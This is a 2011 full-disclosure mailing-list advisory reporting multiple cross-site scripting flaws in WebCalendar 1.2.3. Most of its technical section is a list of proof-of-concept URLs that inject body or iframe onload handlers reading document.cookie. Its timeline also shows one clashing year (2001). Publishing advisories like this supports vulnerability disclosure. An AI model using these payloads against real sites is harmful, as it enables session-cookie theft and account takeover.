full-disclosure - Multiple Cross-Site Scripting vulnerabilities in WebCalendar

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Date: Sat, 09 Jul 2011 18:38:18 +0200
From: "sschurtz@...nline.de" <sschurtz@...nline.de>
To: full-disclosure@...ts.grok.org.uk
Subject: Multiple Cross-Site Scripting vulnerabilities in
	WebCalendar

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Advisory:           Multiple Cross-Site Scripting vulnerabilities in
WebCalendar
Advisory ID:        SSCHADV2011-008
Author:             Stefan Schurtz
Affected Software:  Version 1.2.3 and probably prior versions
Vendor URL:         http://www.k5n.us/webcalendar.php
Vendor Status:      informed
CVE-ID:             -

==========================
Vulnerability Description:
==========================

This is a Cross-Site Scripting vulnerability

==================
Technical Details:
==================

http://[target]/webcalendar/about/"><body onload=alert(document.cookie)>
http://[target]/webcalendar/about/"><body onload=alert('XSS')>

http://[target]/webcalendar/colors.php?color="><iframe
onload=alert(document.cookie)>

http://[target]/webcalendar/datesel.php?form="><iframe
onload=alert(document.cookie)>
http://[target]/webcalendar/datesel.php?form=3&fday="><iframe
onload=alert(document.cookie)>&fmonth=3&fyear=3&date=20110601
http://[target]/webcalendar/datesel.php?form=3&fday=3&fmonth="><iframe
onload=alert(document.cookie)>&fyear=3&date=20110601
http://[target]/webcalendar/datesel.php?form=3&fday=3&fmonth=3&fyear="><iframe
onload=alert(document.cookie)>&date=20110601

http://[target]/webcalendar/year.php/"><body onload=alert(document.cookie)>
http://[target]/webcalendar/select_user.php/"><body
onload=alert(document.cookie)>

http://[target]/webcalendar/week.php/"><body onload=alert(document.cookie)>
http://[target]/webcalendar/month.php/"><body onload=alert(document.cookie)>
http://[target]/webcalendar/search_handler.php/"><body
onload=alert(document.cookie)>
http://[target]/webcalendar/day.php/"><body onload=alert(document.cookie)>
http://[target]/webcalendar/datesel.php/"><body
onload=alert(document.cookie)>
http://[target]/webcalendar/edit_entry.php/"><body
onload=alert(document.cookie)>
http://[target]/webcalendar/search.php/"><body
onload=alert(document.cookie)>
http://[target]/webcalendar/help_edit_entry.php/"><body
onload=alert(document.cookie)>
http://[target]/webcalendar/catsel.php/"><body
onload=alert(document.cookie)>
http://[target]/webcalendar/help_index.php/"><body
onload=alert(document.cookie)>
http://[target]/webcalendar/help_docs.php/"><body
onload=alert(document.cookie)>
http://[target]/webcalendar/help_bug.php/"><body
onload=alert(document.cookie)>

=========
Solution:
=========

- -

====================
Disclosure Timeline:
====================

02-Jul-2011 - informed developers
02-Jul-2011 - Release date of this security advisory
04-Jul-2001 - post on BugTraq

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.k5n.us/webcalendar.php
http://www.rul3z.de/advisories/SSCHADV2011-008.txt
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